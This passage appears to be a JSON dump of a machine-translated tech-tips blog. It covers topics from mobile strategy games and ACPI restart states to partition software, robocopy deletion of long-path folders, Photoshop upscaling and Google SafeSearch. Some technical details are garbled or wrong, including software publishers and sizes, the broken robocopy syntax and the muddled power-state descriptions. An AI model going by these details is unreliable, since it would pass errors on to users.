opponent's 'expansion', attack resource areas and weaken enemy units.\nArt of War 3 download link for Android Art of War 3 download link for iOS 4. Machines at War 3   Machines at War 3 is a great strategy game and costs $ 6.99 on the Play Store and App Store. To avoid boredom and help players get used to the game, you can play Story Missions to familiarize yourself with the control mechanism and lead the legion through tough and tense campaigns.\nUnits of soldiers, fighting vehicles and weapons are quite diverse, players can defeat opponents with long-range missiles or send fleets of warships, fighters to defeat the enemy.\nMachines at War 3 download link for Android Machines at War 3 download link for iOS 5. ROME: Total War   Total War is one of the 'monuments' of the strategy game village with the ability to 'control the generals' unique on the vast battlefield. Get the theme of the war into ROME, you have the task of participating in the crusades and conquering new lands, bringing resources to the country and recruiting soldiers for the next crusades. .\nWith the number of soldiers that can control up to hundreds, thousands of units, you will feel like joining the battle really intensely and honestly.\nROME: Total War download link for Android ROME: Total War download link for iOS:\u0026nbsp; With good strategy games, you can consult and download for entertainment on the weekend or invite your friends to play.\nWish you have fun playing the game!\nTop 5 strategy game ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq0wNGaq56fqWK0ornErGSopl2ltbC6xKxka2hiZQ%3D%3D\n","link":"/post/top-5-best-strategy-games-on-mobile-phones-2020/","section":"post","tags":null,"title":"Top 5 best strategy games on mobile phones 2020"},{"body":" How to restart the computer using PowerShell Windows Explorer error repeatedly restarts and crashes, this is how to fix it Restarting the computer is a common thing that we often do. Although troubleshooting, installing hardware or software, most computers need to reboot on a regular basis. And there are computers that cannot find problems until they are restarted. What will happen when restarting the computer? It is really a simple process, involving some basic commands.\nWhat will happen when restarting the computer? What will happen when restarting the computer? What is the power consumption operation of the device? Why restart the computer can fix many problems? Why does rebooting something work so well? Reboot also works on other devices Frequent reboots can be a sign of a bigger problem    What will happen when restarting the computer? Theoretically, restarting is only notified by a faulty machine status message at the end of the shutdown process. This bulletin board says that the motherboard needs to reset the attached components using the correct reset commands, then follow the normal boot process (AKA \"bootstrap\").\nThis reset command is not only a certain value at a certain registered address that the motherboard checks before switching to \"off\" state. If the restart bulletin board appears, the computer starts the boot process as soon as the shutdown process is complete. If the message board does not appear, the computer will switch to \"soft off\", wait for you to return and press the power button.\n  The restart process is only slightly different from the shutdown process a bit. The \"know\" computer restarts with the ACPI reset command , but is only set after the computer has completed the shutdown process. All components are reset as part of the shutdown process, so the only difference between shutdown (reboot) and reboot is that the computer restarts immediately.\nThe shutdown process is quite simple. When you select \"shutdown\" from the operating system menu, the computer will turn off all applications, perform a \"cleanup\" a bit, disconnect the file system and turn off the peripheral.\nWhat is the power consumption operation of the device?   Most of the computer's shutdown and restart process is controlled by the operating system ACPI (advanced configuration and power interface) that controls the power consumption activities of the device via an interface. The power consumption operation of the device is controlled by the motherboard . The power consumption activities of this device come from ACPI, or Advanced Configuration and Power Interface, controlling power management in your computer. There are several important power consumption states of the device that help us understand how computers work.\nG0 : Turn on and work; operating status of the computer.\nG1 : Sleep\nS1 : RAM and CPU still work, but CPU is not processing commands. Peripherals are turned off. S2 : CPU is turned off, but RAM is still maintained, protecting memory content. S3 : Everything except RAM and peripheral devices can wake up a computer, like a keyboard, is turned off. This is the computer's \"sleep\" state, activated from the start menu in Windows. S4 : RAM content is written to disk and everything is turned off. This is the \"hibernation\" mode. The only difference between G1 and G2 is the serial process: you won't need to start the computer to return from this energy state. G2 : \"Soft off\". This is the typical off state of a computer. Power is cut for everything except listening devices.\nG3 : Turn off, can't start until it's brought back to G2.\nWhy restart the computer can fix many problems? Rebooting is an important step to troubleshoot because it can fix many problems at the same time. But how?\nWe often have to reboot something, be it a computer, a smartphone, a TV or any other technology we encounter in life.\nRestarting the computer is the first advice that all technicians will give, when you ask for help. Many people were startled to realize that they had forgotten this technology like a 'panacea'.\nNo few people often feel uncomfortable when receiving such simple advice. But guess what? It really works! Experts estimate that more than half of the current technology problems can be overcome with this simple restart method.\n  Why does rebooting something work so well? At this point, the question that many people will ask is why does this method work?\nLet's start by talking about what happens when your computer is running:\nYou open the program, close the program, you can even install and uninstall software or applications. Sometimes programs like your Internet browser open for hours, or even days. There are many other things to stop and start again - things you can never see.\nAre you envisioning the time when the computer is used? Most of us use computers a lot. You may not realize that the operating system sometimes runs background processes that you don't really need anymore, or that the programs are not actually completely closed.\nThese \"leftovers\" consume system resources, usually RAM. If there are too many such unnecessary processes, the computer will start having problems: The system is slow, the programs will not open anymore, then the error messages appear, etc.\nWhen you restart your computer, every single program and process will end, from the moment the computer is disconnected from the power source.\nDuring the restart process, all computer logic is reset. This means that the CPU, memory, controller and peripherals all receive reset commands and return to the boot state. By 'wiping out' everything that has happened before, this reset can often fix problems by resetting their \"new\" state. Of course, this does not mean that the problem will not recur. However, this new beginning often eliminates the culprit causing trouble, at least temporarily.\nRestarting your computer is like rebooting it or turning off the power and then turning it back on manually. Rebooting is not the same as resetting the machine. It is a much larger process and usually means deleting everything, then returning the manufacturer's default state.\nPlease refer to the article: 6 ways to restart Windows \"pro\" if you are not sure how to restart Windows computer properly. If you're really interested in resetting your computer, keep reading and the article will mention it more in the final section.\nReboot also works on other devices   This same logic applies to other devices other than computers.\nDevices such as TVs, smartphones, modems, routers, DVRs, home security systems, digital cameras, etc. all have operating systems and software that have the same problem sometimes Your calculation is encountered.\nRestarting those devices is usually very easy, like disconnecting the power for a few seconds and then turning it on again (in other words, unplugging the power plug and then plugging it back in).\nRefer to 2 articles: Restart the router and modem so that it is correct? and Error app on Android device hangs, freezes, this is how to fix if you need more help.\nFrequent reboots can be a sign of a bigger problem It is perfectly normal to restart the computer from time to time, especially if you are doing things that require a lot of interaction with the operating system, such as updating drivers, installing updates, reinstall software, etc.\nHowever, you may have problems that restarting only temporarily fix the error. A hardware may be corrupted, important Windows files may be corrupted or you may be infected with malware.\n  In those cases, follow any troubleshooting steps that are specific to the problem you are having. System File Checker with scan tool is a worth considering solution, and of course, system-wide malware scans almost always happen every time you start this program.\nAs mentioned above, reset is returning the device to the factory state. This option is also available as a last resort method for Windows computers - called Reset This PC .\nRefer to the article: 4 ways to reset the Windows computer to its original state if you have no other options and make sure this is the last measure you can try.\nRefer to some more articles:\nHow to upgrade the Wireless Router Firmware? How to start and reset Apple Watch Instructions to reset Skype on Windows 10 Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02auoqScYrWivM%2BepWavmJq7br7ErKuaqqSeu6h506GcZpufor22wMSr\n","link":"/post/what-will-happen-when-restarting-the-computer/","section":"post","tags":null,"title":"What will happen when restarting the computer?"},{"body":"Modern home network systems today have changed and gone beyond some previous rules, there are some exceptions with the need to increase the number of access devices according to other needs. each other and increasingly requires network traffic to increase as much as streaming multiple video streams simultaneously. Multi-User MIMO technology (MU-MIMO) can provide significantly more network bandwidth for many users than the previous generation Single-User MIMO (SU-MIMO) technology.\n  EA9500 Max-Stream AC5400 MU-MIMO Gigabit Router is a Linksys designed product for both purposes that both works as a Wi-Fi Router for home office offices, both for fast entertainment needs. altitude everyone in a family.\nTolly is Linksys, Inc. Authorized to test the total network throughput of Wi-Fi Router EA9500 for many connected devices and comparable to other similar Wi-Fi Router Tri-band devices.The result is Linksys' Wi-Fi solution for 40% higher network bandwidth than competitors .\nCompare wireless LAN performance Tests are conducted in residential environments and are measured by 2 devices with different configurations. All tests will be performed on the Linksys EA9500 and three other Wi-Fi routers in the same segment and support Wi-Fi AC with MU-MIMO 4x4 technology.\nIn the first test, 4 connected devices were spaced 2.5m apart from the Router. This measure shows the advantages of MU-MIMO when serving multiple connected devices at the same distance.\nAnd in the second test, these 4 connected devices will be placed 2 devices close together and away from the other 2 devices located on the other floor of the house. This measurement will show the performance of the Wi-Fi Router when serving multiple devices in different areas at the same time.\n  Test results compare wireless LAN performance Many connected devices, direct Wi-Fi waves The average speed for each connected device that the Linksys EA9500 achieves is 198Mbps with the total bandwidth measured on all four connected devices is 792Mbps. While the rest of the routers only offer 150Mbps or less.\n  Chart 1\nMany connected devices, different Wi-Fi wave distance Four connected devices will be placed in different locations in the house at this measurement to best reflect Linksys's superior advantages. And during this test, the EA9500 always gave the highest performance when serving a separate connected device with 192Mbps speed, a completely superior result compared to the 156Mbps of the Router in the next position.\n  Chart 2\nInstallation and testing methods The purpose of the test is to measure the performance of the Router's Wi-Fi network to determine the download speeds of these routers on the 5GHz band that support the fastest 802.11ac standard with the latest MU-MIMO technology.\nTest system All Router devices support the latest Wi-Fi standard and are certified as commercial standard products. All routers are updated with the latest firmware (Firmware EA9500 is v1.1.5.172212). Tested devices (including Router devices and devices connected to the Router) are all configured in the same way as bandwidth, channel, transmit power and security encryption parameters. Routers are connected to the main router (DHCP allocation) using an Ethernet network cable via Gigabit Ethernet switch, WPA2-PSK encryption is used for Wi-Fi security during testing.\nTest environment and installation All tests are done on the 5GHz band.\n4 connected devices - direct Wi-Fi waves (no obstacles)\n  4 connected devices - direct Wi-Fi waves (no obstacles)\nUse four Acer Aspire V3-371-51UJ laptops, two laptops with the first 5GHz Wi-Fi network and two laptops connected to the other 5GHz Wi-Fi network. The test was done in a home environment and there were absolutely no other 5Ghz Wi-Fi signal waves around. Tests are direct Wi-Fi waves with no obstacles, 5GHz wave channels are 40 and 153 respectively with maximum 80MHz channel width.\nConnected devices are placed on the table and have the same distance of 2.5m to the Router in the central position with a height of 0.5m above the ground.\nThe result is due to the traffic of data transmitted through the network implemented by the dedicated Ixia IxChariot application through the script. 4 connected devices (Acer laptops) all run the IxChariot Endpoint application and transmit to another IxChariot Endpoint device connected to the test network using Ethernet networks via the Gigabit Ethernet switch mentioned above. The test time for each measurement is 1 minute in each test location and will be measured 3 times to get the average value. Tolly's engineers are always closely monitoring to make sure the devices are connected to the correct Wi-Fi signal and the router is testing accordingly.\n4 connected devices - located in different locations\n4 Acer Aspire laptops V3-371-51UJ will be put into 2 groups: 2 laptops in the bedroom on the 1st floor at a distance of 6m compared to the Router located on the 2nd floor, the remaining 2 laptops are placed on the 2nd floor with Router via 1 Wall with distance 9m to Router.\n  Calculating relative performance\nTo calculate performance superiority between routers, the formula used is 1 - (T1 / T2). In which T1 is the best result and T2 is the slower result. This result is multiplied by 100 to best represent the percentage.\n  Conclude Linksys EA9500 Max-Stream AC5400 MU-MIMO Gigabit Router showed positive results as follows:\nTotal network bandwidth is up to 40% higher in Wi-Fi signal tests directly without obstructions. 57% higher network throughput when measuring Wi-Fi connection directly to each connected device separately. Average network speed on connected devices is 36% higher in mixed Wi-Fi wave tests between different times and different distances. ncG1vNJzZmismaXArq3KnmWcp51kxKqyyGapqK2kmr%2B0ecWoqWanlpu2pLHSZqqeqqaaeqO706FkoaGXncCxscSdZJ6mpJq%2Fta3Ip6SepqQ%3D\n","link":"/post/wi-fi-routers-for-offices-serve-both-high-speed-entertainment/","section":"post","tags":null,"title":"Wi-Fi routers for offices serve both high-speed entertainment"},{"body":"The hard drive \u0026nbsp;is the most important place to store data on your\u0026nbsp; computer , so dividing the hard drive helps you organize your personal data with software data in your computer. Currently there are many disk management software. This article will introduce 11 best hard drive partitioning software for Windows.\u0026nbsp;\nBenefits of Windows hard drive splitting software:\nHelps you organize personal data, easily manage data inside the machine. Control your drives efficiently. Minimize the risk of personal data loss when reinstalling Windows. Easily partition any drive. Note: TOP software divided in hard in the article is based on criteria for effective data management, easy to use, safe, low risk, .\nEaseUS Partition Master is one of the best disk management tools for Windows computers and laptops. This is a free utility that allows users to create, format, delete partitions drives, .\n- Salient features:\nMinimize, change the size of the device. Hide or show partitions. Partition management. Integrated disk and partition cloning wizard. Effective partition recovery.   EaseUS Partition Master software\nPublisher: Symantec Corporation. Size: 36,6 KB. Version: 14.5. Recommended configuration: Windows XP / Server. 2003 / Vista / Server. 2008/7/8 / Server 2012 / 8.1 / 10. Usage: Free. Download EaseUS Partition Master for Windows\u0026nbsp; HERE . MiniTool Partition Wizard is a partition management software with a simple, intuitive and friendly interface. With this tool, you can easily create, resize partitions, and delete drive partitions.\n- Salient features:\nRecover data from previously created disk partitions. Convert NTFS to FAT. Change the font. Convert MBR drive to GPT drive.   MiniTool Partition Wizard software for partitioning\nPublisher: MiniTool Solution. Size: 2 MB. Version: 12. Recommended configuration: Windows XP / Vista / 7/8/10. Usage: Free. Download Mini Tool Partition Wizard for Windows\u0026nbsp; HERE . AOMEI Partition Assistant SE is another good free partition manager on the list that is heavily used. This tool offers many features and is somewhat superior to other software.\n- Salient features:\nResize, create, split partitions. Create bootable USB. Move, expand, contract, or merge devices.   AOMEI Partition Assistant helps to manage disk partition effectively\nPublisher: AOMEI. Size: 29,6 KB. Version: 8.10. Recommended configuration: Windows 10 / 8.1 / 8/7 / Vista / XP. Usage: Free. Download AOMEI Partition Assistant SE for Windows\u0026nbsp; HERE . Paragon Partition Manager is another popular partition management software on the list with many useful features.\nAlthough the free version of Paragon Partition Manager does provide a complete list of essential features, Paragon Partition Manager Pro version will let you do other extra features like merging partitions, convert NTFS to FAT32, convert dynamic disk to basic and much more, .\n- Salient features:\nCreate new partition, rename existing partition volume. Ability to convert HFS drive to NTFS. Easily resize and move partitions. Convert drive partition type from MBR to GPT and vice versa, .   Paragon Partition Manager drive partition software\nPublisher: Paragon. Size: 39,1 MB. Version: 2013. Recommended configuration: Windows XP / Vista / 7/8. Usage: Free, with upgrade to Premium version. Download Paragon Partition Manager for Windows \u0026nbsp;HERE . If you are looking for a partition management software with a user-friendly interface, Macrorit Partition Expert is the right choice.\nCompared to other disk partitioning software, Macrorit Disk Partition Expert is considered to be easier to use.\n- Salient features:\nProvide a portable version for you to use without installing. Resize, move, delete, format partitions. An operation can be canceled before it finishes while keeping the data intact.   Macrorit Disk Partition Expert software allows easy disk division\nPublisher: Macrorit. Size: 23,6 MB. Version: 5.3.7. Recommended configuration: Windows XP / Vista / 7/8/10. Usage: Free. Download Macrorit Partition Expert for Windows\u0026nbsp; HERE . Tenorshare Partition Manager is a partition management software with a neat and easy-to-use interface. You can easily create, merge, split, resize or resize new partitions.\n- Salient features:\nCreate partition, format partition. Copy partitions, expand, shrink partitions easily.   Tenorshare Partition Manager hard drive division software\nPublisher: Tenorshare Company. Size: 2.4 MB. Version: 1.0. Recommended configuration: Windows NT / Me / 2000 / XP / 2003 / Vista / 7/8. Usage: Free trial version available and upgrade to Premium. Download Tenorshare Partition Manager for Windows\u0026nbsp; HERE . If you are looking for a Windows 10 partition management software to create new partitions out of unallocated space, you should try Active @ Partition Manager. This is one of the best and easiest to use partition management software available. Active @ Partition Manager works on most versions of Windows.\n- Salient features:\nResize, convert or format existing partitions. Partition identification with file system. Create a logical partition or drive.   Active @ Partition Manager hard drive software\nPublisher: LSoft Technologies. Size: 9 MB. Version: 3.0. Recommended configuration: Windows XP / Server. 2003 / Vista / Server. 2008/7/8 / Server 2012. Usage: Free. Download Active @ Partition Manager for Windows\u0026nbsp; HERE . GParted is a portable software used to manage partitions. Since it's portable software, GParted can be run from a boot disk or a USB device\u0026nbsp; .\n- Salient features:\nEasily format, resize EXT2 / 3/4, NTFS, XFS, FAT16 / 32 partitions. Edit recorded partitions to CD or USB, PXE server or hard drive for 32-bit Windows platforms.   GParted hard drive division software\nPublisher: GParted. Size: 293 MB. Version: 0.30.0.1. Recommended configuration: Windows XP / Vista / 7/8/10. Usage: Free. Download GParted for Windows\u0026nbsp; HERE . Cute Partition Manager is one of the unique and best partition management tools for Windows. This software is relatively different from the other software in this list, it does not run from the operating system, users need to download Cute Partition Manager on a flash drive or bootable disk.\n- Salient features:\nEasily delete, resize or create partitions. Allows to create more than 100 partitions on a hard drive. Changes can be previewed before saving.   Cute Partition Manager drive partition software\nPublisher: OSL. Size: 232 KB. Version: 2013. Recommended configuration: Win 98 / ME / NT4 / 2000 / XP / 2003 / Vista. Usage: Free. Download Cute Partition Manager for Windows\u0026nbsp; HERE . IM-Magic Partition Resizer is the best and extremely easy to use partition management software for Windows 10 computers.\n- Salient features:\nCreate, resize, convert NTFS to FAT32, hide partitions. Expand the system drive - drive C. Minimize fragmentation, reallocate free space on the hard drive.   Partitioning tool and disk management IM-Magic Partition Resizer\nPublisher: IM-Magic. Size: 3 MB. Version: 1.5.0. Recommended configuration: Windows 2000 / XP / Vista / 7/8. Usage: Free. Download IM-Magic Partition Resizer for Windows\u0026nbsp; HERE . Acronis Disk Director is a powerful, easy-to-use tool for managing hard drives and space.\n- Salient features:\nHard drive organization and capacity settings. Restore space. Disk cloning. Manage and secure data safely and effectively.   Acronis Disk Director software\nPublisher: Acronis. Capacity: 304,6 MB. Version: 12.5.0.163. Recommended configuration: Windows XP / Vista / 7/8/10. Usage: Free trial version available and upgrade to Premium. Download Acronis Disk Director for Windows\u0026nbsp; HERE .  Software name\n  Salient features\n  Capacity\n Recommended configuration\n  EaseUS Partition Master software\n Partition management, integrate disk and partition clone wizard, efficient partition recovery.\n  36.6 KB\n Windows XP / Server\n2003 / Vista / Server\n2008/7/8 / Server 2012 / 8.1 / 10\n  MiniTool Partition Wizard software\n Convert NTFS to FAT, change the font, convert MBR drive to GPT drive.\n  2 MB\n Windows XP / Vista / 7/8/10\n  AOMEI Partition Assistant software\n Resize, move, expand, narrow, merge.\n  29.6 KB\n Windows 10 / 8.1 / 8/7 / Vista / XP\n  Paragon Partition Manager software\n Easily resize and move partitions.\n  39.1 MB\n  Windows XP / Vista / 7/8\n  Macrorit Disk Partition Expert software\n An operation can be canceled before it finishes while keeping the data intact.\n  23.6 MB\n Windows XP / Vista / 7/8/10\n  Tenorshare Partition Manager software\n Create partitions, format partitions, copy partitions, expand and shrink partitions.\n  2.4 MB\n Windows NT / Me / 2000 / XP / 2003 / Vista / 7/8\n  Active @ Partition Manager software\n Identify partitions with file system, create a logical partition or drive.\n  9 MB\n  Windows XP / Server\n2003 / Vista / Server\n2008/7/8 / Server 2012\n   GParted software\n Edit recorded partitions to CD or USB, PXE server or hard drive for 32-bit Windows platforms.\n  293 MB\n Windows XP / Vista / 7/8/10\n  Cute Partition Manager software\n Allows to create more than 100 partitions on a hard drive, preview changes before saving.\n  232 KB\n Win 98 / ME / NT4 / 2000 / XP / 2003 / Vista\n  Software IM-Magic Partition Resizer\n Expand system drive - drive C, shrink fragmentation, reallocate free space on hard drive.\n  3 MB\n Windows 2000 / XP / Vista / 7/8\n  Acronis Disk Director software\n Restore space, Clone drives, Manage data efficiently.\n  304.6 MB\n Windows XP / Vista / 7/8/10\n   Answer: In this case, if you divide the available memory of drive C, the data will not be lost. If you split over the available portion of the drive, the data will be partially lost. To avoid such situation, you can copy the necessary C drive data to a hard drive or an intermediate USB before dividing the drive, dividing the drive, and then copying data from the hard drive or an intermediate USB to the partition. new.\nAnswer: If the available memory of drive C is much, you can transfer data from drive D and drive E without any problems.\nNote, if your C drive has no available memory, you should not transfer, because it will be full of drive, causing the computer to slow down or lag.\nAnswer: Currently, the Recovery drive cannot be divided to merge into another drive.\nAnswer: You can partition the drive without downloading software to easily manage data efficiently. You just need to use the functionality available on your computer to partition the drive.\nAbove are free hard drive partitioning and formatting software. Hope these software will help you in setting up the maximum capacity of your computer.\nncG1vNJzZmismaXArq3KnmWcp51kfnJ5wZ6qrWWWp7KmedaipZ2np6h6pLvMqaytnaJitaK%2Bw2abq6GmmnqltdWiqqKnnmLAsLLTsJirnV1nfXN9\n","link":"/post/11-best-free-windows-computer-hard-drive-division-software-2021/","section":"post","tags":null,"title":"11 best free Windows computer hard drive division software 2021"},{"body":"When you need to handle low-resolution photos - how low resolution do we have to do if we want to enlarge those photos? Actually, the remedy is not so difficult and complicated as many people think. In the following article, we will show you how to solve this problem with Adobe Photoshop software.\nAnd here is our sample photo when in 100% normal mode.\n  When zooming in:\n  Try changing the image size with a few simple steps:\n  Select Image\u0026gt; Image Size menu , in Resample Image, you switch from default Bicubic to Bicubic Smoother (best for enlargement).\n  Note that Bicubic Smoother mode is a bit different from basic Bicubic . Based on the detail reduction mechanism in the picture, our work will become natural, smooth and no longer the same angle.\nImprove quality when zooming in:   Most Photoshop users do not apply RGB or CMYK . And here, we will use a different color mode called Lab Color . Open the image to edit and select Image\u0026gt; Mode\u0026gt; Lab Color:\n  Make sure you're opening the Channel section by clicking Window\u0026gt; Channels , then selecting Lightness .\n  Once you've selected Lightness , continue with the Smart Sharpen filter via the Filter\u0026gt; Smart Sharpen menu .\n  In this test, the filter above works quite well, but depending on the specific case, you apply many times or change the setting accordingly.\n Keep the setting in the Remove section to Gaussian Blur\nBesides, you can keep Lab Color unchanged or change back to RGB mode if you want, unlike the conversion process between RGB and CMYK then RGB performs this quite perfectly, in other color mode We can combine multiple channelset by pressing Ctrl + 2:\n  Obviously, with this approach, you can easily see the change.\n  With Typography :\n  However, with Typography it is completely different. For example, with such a low resolution, just increasing the length by 100 pixels is much different.\n  Here, we increase the size of the photo by 10 times and apply the Nearest Neighbor setting .\n  And the result is as above. Let's see what we can do to fix it.\n  Apply Gaussian Blur filter by selecting Filter\u0026gt; Gaussian Blur to change the details of the text inside the image.\n  The temporary result here will look like the image above.\n  Next, using the Threshold feature to manipulate, click the icon next to the newly created Threshold layer in the Layers Panel to insert a new layer.\n  And the details in the photo have become smooth, less angular. If you are not satisfied, we can use more brush tools to edit more. Good luck!\nSee more:\nUse Photoshop online How to sharpen images in Photoshop in 2 ways How to use Photoshop CS5 - Part 5: Photo editing ncG1vNJzZmismaXArq3KnmWcp51kgG7AyKmqZqyfYrauvNGorZ5lnKTEs7HSqKOurJmku261zJqenmWhqq6ttdOy\n","link":"/post/3-tips-to-improve-low-resolution-image-quality/","section":"post","tags":null,"title":"3 tips to improve low-resolution image quality"},{"body":"Yes, friends. This is a situation that is quite common for Windows users. This phenomenon is when we copy, cut, move, delete, rename . or do anything to the directory, data file that has a length in the path that exceeds 255 characters in Windows (theoretically on Microsoft is 260 characters), the system will display an error as shown below:\nTên tập tin tên (s) bị lớn hơn được hỗ trợ bởi hệ thống tập tin. Đang thử chuyển đến một vị trí mà có tên đường dẫn nhỏ hơn, hoặc renaming để đóng tên (s) trước khi thử này.   Illustrative error occurred on Windows 7\nOr here:\n  This error message is similar:\nLỗi lỗi bất thường, giữ lại bạn từ thư mục. Nếu bạn tiếp tục để nhận lỗi này, bạn có thể sử dụng mã lỗi để tìm kiếm để làm việc với lỗi này.\n Error: 0x80004005: Unspecified error\n   For these types of errors, even if you use assassins like Folder Lock, Folder Guard, Unlocker . they don't lose. Even the PowerShell utility still has to bundle:\nRemove-Item: Đường dẫn đưa ra, tập tin tên, hoặc cả hai là quá dài. Những đủ xác định tập tin tên phải là ít hơn 260 ký tự, và tên thư mục phải là ít nhất 248 ký tự.   Simply because PowerShell cannot support all files, the directory path is longer than 255 characters, even if the partition you are storing is in NTFS format. However, not all ways to handle this situation. In the article below, TipsMake.com will introduce to you a rare tool that can help us overcome this situation. That is the software support Long Path Tool , link download the latest version here.\nHow to use the Long Path Tool is quite simple, please see the video tutorial below: But besides, do you know that there are still tools available from Microsoft that support this very well, that is Robocopy . In essence, Robocopy works as follows:\nWhen used with the command / MIR, Robocopy will proceed to create a backup of the entire folder, the current file name on another partition, and when your root folder is empty - empty then the system The system will delete the current files and folders. As shown in the example image above, you can see in the game folder that has the directory, in which there are many other subdirectories, so the total number of characters appearing on the path has exceeded 260 characters, and leads As a result, it is impossible to delete, move, copy or rename those folders. Or here, I have 3 subdirectories with the same path structure as above. And of course, Windows Explorer can't do anything right now:\n  At drive C (or any other drive), I create a new empty folder (name it whatever you want), then use the following command to copy the entire HomeDrives internal directory to the new address:\nrobocopy / MIR c: test E: UserDataHomeDrives   After executing the above command, the entire directory inside E: UserDataHomeDrives has been deliberately deleted, and our rest has been much simpler. Robocopy has shown its immensely powerful ability to handle, copy, delete, rename folders with too long names, exceeding the standard 255 characters of Windows and you still don't have to use support tools. external support.\nVideo demo using Robocopy to remove files and folders with too long names in Windows: How to delete a long name directory with the command line tool In addition to the above two ways, deleting the long name directory with the command line tool is a simple three-step process. The trick is to automatically create shorter names and use it.\nOpen the command prompt in the file folder. Use the DOS command to get a short file name in 8.3 file format. Now, use the DEL command in DOS to delete the file. See how this tool works in the example below with a long name file in the directory.\nOpen File Explorer and browse for files in the folder. Press Shift , then right-click an empty area. Select Open command window here . The Command Promt window will appear with a link to the folder you are visiting.\n  Enter the DOS command to list the folders and files in the current directory. The dir command is an internal command and is available on all Microsoft operating systems. The / X attribute displays short names for non-8.3 file names. You can also use DIR / X / P to pause and switch from one screen to the next screen when there are too many files to check.\nThe screenshot below shows the text file that we want to delete with the edited short file name.\n  So you can see how we use DOS to automatically create a shorter name for the file. Now just use the simple DEL command on the short file name to remove the file.\n  The lesson here is to not ignore DOS. There are many useful DOS commands that can save you time.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51krm6%2FyKanpZ1drK66edOoZJ2dnJrBpnnAZp2opJSav27DyK2fZpldobyvs4ynmKadXaS7bsPIp5uor6M%3D\n","link":"/post/a-simple-way-to-delete-a-folder-with-a-long-name-on-windows/","section":"post","tags":null,"title":"A simple way to delete a folder with a long name on Windows"},{"body":"One of the security methods when browsing the web is to use anonymous browsing mode, or private mode on browsers. This mode will not save any browsing history or passwords on the browser. However, if you are accessing a site that is normally in order that you want to switch to incognito mode, you must copy the open web URL to the incognito tab.\nWith Firefox, all operations will be much simpler, when we use the Open Page in Private Window utility. You just need to access a website in normal mode and with just one click, the tab will be switched to private browsing mode. The following article will show you how to use the Open Page in Private Window utility to transfer the current website in Firefox to incognito mode.\nStep 1: Click on the link below to install the Open Page in Private Window utility on Chrome browser\nhttps://addons.mozilla.org/en-US/firefox/addon/open-page-in-private-window/ At this interface, click the Add to Firefox button to install.\n  Step 2: Next, click the Install button to install the utility.\n  Step 3: You wait a few seconds and then you will see the Open Page in Private Window utility informing you of the successful installation on Firefox.\n  Step 4: Now we have access to any web page on Firefox browser. To switch open tabs to anonymous browsing on the browser, users click on the icon of the Open Page in Private Window utility at the end of the address bar on Firefox, the far right of the screen.\n  Immediately, the website will be opened in a separate window under private browsing mode.\n  In addition, another way to switch to incognito browsing mode, at the page's interface, right-click and select Open Page in Private Window .\n  But be aware of the users , with the website login account such as Facebook, Twitter, when switching to the anonymous tab, users need to log in personal account again.\nThus, with the Open Page in Private Window utility, we can immediately move the open web page in normal mode to incognito mode. You will not need to perform 2, 3 operations as before but only 1 click is done.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqunnsGktIyop56mXamuo7%2BMoqVmnpmnsqe712arqGWgp7a3rdOeZKanlJo%3D\n","link":"/post/how-to-switch-open-tabs-in-firefox-to-private-mode/","section":"post","tags":null,"title":"How to switch open tabs in Firefox to private mode"},{"body":"Dark Mode is being implemented on applications, operating systems and web browsers to make the user's digital experience easier. WhatsApp is the latest app to feature a dark background, but you'll need to download the beta version to make it work.\nHere are all the steps to turn on Dark Mode in WhatsApp.\nFirst of all, if you happen to join the beta program for WhatsApp for Android or iOS, then everything will be very convenient. Recent updates for the beta version will enable dark background.\nNext, you need to manually download the APK file for the latest version of WhatsApp beta.\nOnce you've downloaded the APK file, open it via your browser or file manager. You may receive a message stating that the browser or file manager is not allowed to install unknown applications. If this happens, click on Settings , then turn on 'Allow from this source' .\nOnce you've done that, install the APK to overwrite the current version of WhatsApp, then open WhatsApp. Click the Menu icon \u0026gt; Settings\u0026gt; Chats , then click on the New Theme option and select Dark.\nAll operations are completed! What do you think of the new dark background mode for WhatsApp? Share your thoughts in the comment section below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mm5qqm2K6sLDEZp2oql2staLA0pqnqWWfo3qiusOrpqKc\n","link":"/post/how-to-turn-on-dark-mode-for-whatsapp-on-android/","section":"post","tags":null,"title":"How to turn on Dark Mode for WhatsApp on Android"},{"body":"Internet is the way to transmit information of the world. That means, along with tons of useful tools available online for everyday use, there's the same amount of dangerous, disturbing content that you want to avoid, when searching online. to cater to your needs.\nUnwanted content is a search term that accidentally appears in Google search history and becomes part of your online profile data. Luckily, Google gives you the option to filter out offensive content while using its search engine.\nFilter search content on PC Access your Google account by first visiting your main Gmail page. Click on the profile picture in the upper right corner and select the Google account tab .\n  \nOn the newly opened page, click the 'Data and Personalization' option located on the left. You will be redirected to the page tracking your activity data and interests.\n  Scroll down until you get to the section titled General Preferences for the Web . The last option in this section is related to the Search Settings that you need to click.\n  You will now be taken to the section of your Gmail profile to control how much your Internet searches are monitored.\nClick the box next to the words 'Turn on SafeSearch' near the top of the page.\n  Scroll down to the bottom of the page and click 'Save' in the blue box at the bottom of the screen. A small window will appear confirming that your new preferences have been saved.\n  Alternatively, if you want to lock SafeSearch on your computer so that other people using the device cannot undo the SafeSearch settings, click on the blue 'Safe Lock' and follow the prompts to confirm your identity. Gmail account, then confirm that you want to enable the lock for this feature.\nFilter search content on Android Through Chrome Setting the SafeSearch option on mobile phones is practically identical to the procedure done on a PC, but the layout is a bit different.\nOnce again, visit the Google Account homepage on Chrome browser.\n  Scroll through the Data and Personalization section .\nScroll down to the General Preferences of the Web section , where you'll find the Search Settings menu .\n  \nAfter clicking Search Settings, select the 'Filter explicit results' option that appears on the screen. Your new settings will be saved.\n  To undo SafeSearch on Android or PC, repeat the steps discussed above and in the final step, simply deselect the 'Filter Explicit Results' or 'SafeSearch' options , respectively.\nThrough the Google App Open the application.\n  In the lower right corner, touch the three dots icon 'More'.\n  \nOn the page that opens, go to Settings.\n  \nSelect General.\n  \nScroll down until you see the SafeSearch option and press the switch next to turn it to ON.\nSafeSearch is a simple and powerful tool to ensure your computer is protected from the worst content type that the Internet provides. However, keep in mind that because SeafeSearch uses AI, it can sometimes filter out content that is useful to you, categorized as 'Explicit Content'. This is why it is advisable to keep your search terms as specific as possible. Another workaround is to turn off SafeSearch and simply use incognito mode while searching for some topics you don't want displayed on your Internet history page.\nHope you are 